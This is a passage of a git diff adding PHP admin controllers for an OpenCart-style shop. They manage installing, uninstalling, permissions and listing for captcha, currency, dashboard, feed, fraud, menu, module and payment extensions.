+ $stores = $this->model_setting_store->getStores();
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/analytics/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/analytics/' . $extension, 'extension');
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'edit' => $this->url->link('extension/analytics/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=0', true),
+ 'status' => $this->config->get('analytics_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'edit' => $this->url->link('extension/analytics/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $store['store_id'], true),
+ 'status' => $this->model_setting_setting->getSettingValue('analytics_' . $extension . '_status', $store['store_id']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled')
+ );
+ }
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'install' => $this->url->link('extension/extension/analytics/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/analytics/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'store' => $store_data
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/analytics', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/analytics')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/captcha.php b/public/admin/controller/extension/extension/captcha.php
new file mode 100644
index 0000000..74b8d29
--- /dev/null
+++ b/public/admin/controller/extension/extension/captcha.php
@@ -0,0 +1,126 @@
+load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('captcha', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/captcha/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/captcha/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'captcha/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'captcha/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/captcha/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/captcha');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('captcha', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/captcha/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('captcha');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/captcha/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/captcha/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('captcha', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/captcha/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/captcha/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title') . (($extension == $this->config->get('config_captcha')) ? $this->language->get('text_default') : null),
+ 'status' => $this->config->get('captcha_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/captcha/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/captcha/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/captcha/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/captcha', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/captcha')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/currency.php b/public/admin/controller/extension/extension/currency.php
new file mode 100644
index 0000000..5c9bd60
--- /dev/null
+++ b/public/admin/controller/extension/extension/currency.php
@@ -0,0 +1,125 @@
+load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('currency', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/currency/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/currency/' . $this->request->get['extension']);
+
+ // Compatibility
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'currency/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'currency/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/currency/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/currency');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('currency', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/currency/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_no_results'] = $this->language->get('text_no_results');
+
+ $data['column_name'] = $this->language->get('column_name');
+ $data['column_status'] = $this->language->get('column_status');
+ $data['column_action'] = $this->language->get('column_action');
+
+ $data['button_edit'] = $this->language->get('button_edit');
+ $data['button_install'] = $this->language->get('button_install');
+ $data['button_uninstall'] = $this->language->get('button_uninstall');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('currency');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/currency/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/currency/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('currency', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/currency/*.php', GLOB_BRACE);
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/currency/' . $extension);
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('heading_title') . (($extension == $this->config->get('config_currency')) ? $this->language->get('text_default') : null),
+ 'status' => $this->config->get('currency_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/currency/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/currency/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/currency/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $this->response->setOutput($this->load->view('extension/extension/currency', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/currency')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/dashboard.php b/public/admin/controller/extension/extension/dashboard.php
new file mode 100644
index 0000000..9cf81d7
--- /dev/null
+++ b/public/admin/controller/extension/extension/dashboard.php
@@ -0,0 +1,114 @@
+load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('dashboard', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/dashboard/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/dashboard/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/dashboard/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/dashboard');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('dashboard', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/dashboard/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('dashboard');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/dashboard/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('dashboard', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/dashboard/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ // Compatibility code for old extension folders
+ $this->load->language('extension/dashboard/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'width' => $this->config->get('dashboard_' . $extension . '_width'),
+ 'status' => $this->config->get('dashboard_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'sort_order' => $this->config->get('dashboard_' . $extension . '_sort_order'),
+ 'install' => $this->url->link('extension/extension/dashboard/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/dashboard/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/dashboard/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/dashboard', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/dashboard')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/feed.php b/public/admin/controller/extension/extension/feed.php
new file mode 100644
index 0000000..14c8990
--- /dev/null
+++ b/public/admin/controller/extension/extension/feed.php
@@ -0,0 +1,127 @@
+load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('feed', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/feed/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/feed/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/feed/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/feed');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('feed', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/feed/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('feed');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/feed/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/feed/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('feed', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/feed/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/feed/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('feed_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/feed/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/feed/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/feed/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+
+ $this->response->setOutput($this->load->view('extension/extension/feed', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/feed')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/fraud.php b/public/admin/controller/extension/extension/fraud.php
new file mode 100644
index 0000000..a1c8902
--- /dev/null
+++ b/public/admin/controller/extension/extension/fraud.php
@@ -0,0 +1,125 @@
+load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('fraud', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/fraud/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/fraud/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/fraud/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/fraud');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('fraud', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/fraud/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('fraud');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/fraud/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/fraud/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('fraud', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/fraud/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/fraud/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('fraud_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/fraud/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/fraud/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/fraud/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/fraud', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/fraud')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/extension/menu.php b/public/admin/controller/extension/extension/menu.php
new file mode 100644
index 0000000..096fadc
--- /dev/null
+++ b/public/admin/controller/extension/extension/menu.php
@@ -0,0 +1,121 @@
+load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('menu', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/menu/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/menu/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/menu/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/menu');
+
+ $this->load->model('setting/extension');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('menu', $this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/menu/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_layout'] = sprintf($this->language->get('text_layout'), $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('menu');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/menu/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/menu/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('menu', $value);
+
+ unset($extensions[$key]);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/menu/*.php');
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+ $this->load->language('extension/menu/' . $extension, 'extension');
+
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('menu_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'install' => $this->url->link('extension/extension/menu/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/menu/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/menu/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/menu', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/menu')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/module.php b/public/admin/controller/extension/extension/module.php
new file mode 100644
index 0000000..daea542
--- /dev/null
+++ b/public/admin/controller/extension/extension/module.php
@@ -0,0 +1,213 @@
+load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ $this->getList();
+ }
+
+ public function install() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->install('module', $this->request->get['extension']);
+
+ $this->load->model('user/user_group');
+
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'access', 'extension/module/' . $this->request->get['extension']);
+ $this->model_user_user_group->addPermission($this->user->getGroupId(), 'modify', 'extension/module/' . $this->request->get['extension']);
+
+ // Call install method if it exsits
+ $this->load->controller('extension/module/' . $this->request->get['extension'] . '/install');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ } else {
+ $this->session->data['error'] = $this->error['warning'];
+ }
+
+ $this->getList();
+ }
+
+ public function uninstall() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->model_setting_extension->uninstall('module', $this->request->get['extension']);
+
+ $this->model_setting_module->deleteModulesByCode($this->request->get['extension']);
+
+ // Call uninstall method if it exsits
+ $this->load->controller('extension/module/' . $this->request->get['extension'] . '/uninstall');
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if ($this->validate()) {
+ $this->load->language('module' . '/' . $this->request->get['extension']);
+
+ $this->model_setting_module->addModule($this->request->get['extension'], $this->language->get('heading_title'));
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ public function delete() {
+ $this->load->language('extension/extension/module');
+
+ $this->load->model('setting/extension');
+
+ $this->load->model('setting/module');
+
+ if (isset($this->request->get['module_id']) && $this->validate()) {
+ $this->model_setting_module->deleteModule($this->request->get['module_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ $data['text_layout'] = sprintf($this->language->get('text_layout'), $this->url->link('design/layout', 'user_token=' . $this->session->data['user_token'], true));
+ $data['text_hide_modules'] = sprintf($this->language->get('text_hide_modules'), $this->url->link('user/user_permission', 'user_token=' . $this->session->data['user_token'], true));
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $extensions = $this->model_setting_extension->getInstalled('module');
+
+ foreach ($extensions as $key => $value) {
+ if (!is_file(DIR_APPLICATION . 'controller/extension/module/' . $value . '.php') && !is_file(DIR_APPLICATION . 'controller/module/' . $value . '.php')) {
+ $this->model_setting_extension->uninstall('module', $value);
+
+ unset($extensions[$key]);
+
+ $this->model_setting_module->deleteModulesByCode($value);
+ }
+ }
+
+ $data['extensions'] = array();
+
+ // Create a new language container so we don't pollute the current one
+ $language = new Language($this->config->get('config_language'));
+
+ // Compatibility code for old extension folders
+ $files = glob(DIR_APPLICATION . 'controller/extension/module/*.php');
+
+ $this->load->model('user/user_group');
+
+ $user_group_info = $this->model_user_user_group->getUserGroup($this->user->getGroupId());
+
+ if(isset($user_group_info['permission']['hiden'])) {
+ $hiden = $user_group_info['permission']['hiden'];
+ } else {
+ $hiden = array();
+ }
+
+ $data['hiden'] = false;
+
+ if ($files) {
+ foreach ($files as $file) {
+ $extension = basename($file, '.php');
+
+
+ if (!in_array('extension/module/' . $extension, $hiden)) {
+ $this->load->language('extension/module/' . $extension, 'extension');
+ $module_data = array();
+ $modules = $this->model_setting_module->getModulesByCode($extension);
+ foreach ($modules as $module) {
+ if ($module['setting']) {
+ $setting_info = json_decode($module['setting'], true);
+ } else {
+ $setting_info = array();
+ }
+
+ $module_data[] = array(
+ 'module_id' => $module['module_id'],
+ 'name' => $module['name'],
+ 'status' => (isset($setting_info['status']) && $setting_info['status']) ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'edit' => $this->url->link('extension/module/' . $extension, 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $module['module_id'], true),
+ 'delete' => $this->url->link('extension/extension/module/delete', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $module['module_id'], true)
+ );
+ }
+ $data['extensions'][] = array(
+ 'name' => $this->language->get('extension')->get('heading_title'),
+ 'status' => $this->config->get('module_' . $extension . '_status') ? $this->language->get('text_enabled') : $this->language->get('text_disabled'),
+ 'module' => $module_data,
+ 'install' => $this->url->link('extension/extension/module/install', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'uninstall' => $this->url->link('extension/extension/module/uninstall', 'user_token=' . $this->session->data['user_token'] . '&extension=' . $extension, true),
+ 'installed' => in_array($extension, $extensions),
+ 'edit' => $this->url->link('extension/module/' . $extension, 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['hiden'] = true;
+ }
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($data['extensions'] as $key => $value) {
+ if($value['installed']){
+ $add = '0';
+ }else{
+ $add = '1';
+ }
+ $sort_order[$key] = $add.$value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $data['extensions']);
+
+ $data['promotion'] = $this->load->controller('marketplace/promotion');
+
+ $this->response->setOutput($this->load->view('extension/extension/module', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/extension/module')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/extension/payment.php b/public/admin/controller/extension/extension/payment.php
new file mode 100644
index 0000000..1716d44
--- /dev/null
+++ b/public/admin/controller/extension/extension/payment.php
@@ -0,0 +1,157 @@
+load->language('extension/extension/payment');
+
